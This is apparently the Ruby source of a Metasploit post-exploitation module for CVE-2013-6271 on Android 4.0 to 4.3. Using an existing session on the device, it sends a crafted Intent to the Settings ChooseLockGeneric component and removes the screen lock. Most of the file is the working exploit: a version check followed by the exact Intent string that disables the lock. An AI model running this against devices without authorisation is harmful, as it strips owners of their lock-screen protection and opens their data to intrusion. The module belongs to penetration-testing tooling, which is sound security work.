77 lines
2.6 KiB
Ruby
77 lines
2.6 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Post
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Rank = NormalRanking
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include Msf::Post::Common
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include Msf::Post::Android::System
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def initialize(info={})
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super( update_info( info, {
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'Name' => "Android Settings Remove Device Locks (4.0-4.3)",
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'Description' => %q{
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This module exploits a bug in the Android 4.0 to 4.3 com.android.settings.ChooseLockGeneric class.
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Any unprivileged app can exploit this vulnerability to remove the lockscreen.
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A logic flaw / design error exists in the settings application that allows an Intent from any
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application to clear the screen lock. The user may see that the Settings application has crashed,
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and the phone can then be unlocked by a swipe.
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This vulnerability was patched in Android 4.4.
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},
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'License' => MSF_LICENSE,
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'Author' => [
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'CureSec', # discovery
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'timwr' # metasploit module
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],
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'References' =>
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[
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[ 'CVE', '2013-6271' ],
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[ 'URL', 'http://blog.curesec.com/article/blog/26.html' ],
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[ 'URL', 'http://www.curesec.com/data/advisories/Curesec-2013-1011.pdf' ]
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],
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'SessionTypes' => [ 'meterpreter', 'shell' ],
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'Platform' => 'android',
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'DisclosureDate' => "Oct 11 2013"
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}
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))
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end
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def is_version_compat?
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build_prop = get_build_prop
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# Sometimes cmd_exec fails to cat build_prop, so the #get_build_prop method returns
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# empty.
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if build_prop.empty?
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fail_with(Failure::Unknown, 'Failed to retrieve build.prop, you might need to try again.')
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end
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android_version = Gem::Version.new(build_prop['ro.build.version.release'])
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if android_version <= Gem::Version.new('4.3') && android_version >= Gem::Version.new('4.0')
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return true
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end
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false
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end
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def run
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unless is_version_compat?
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print_error("This module is only compatible with Android versions 4.0 to 4.3")
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return
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end
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result = session.android.activity_start('intent:#Intent;launchFlags=0x8000;component=com.android.settings/.ChooseLockGeneric;i.lockscreen.password_type=0;B.confirm_credentials=false;end')
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if result.nil?
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print_good("Intent started, the lock screen should now be a dud.")
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print_good("Go ahead and manually swipe or provide any pin/password/pattern to continue.")
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else
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print_error("The Intent could not be started: #{result}")
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end
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end
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end
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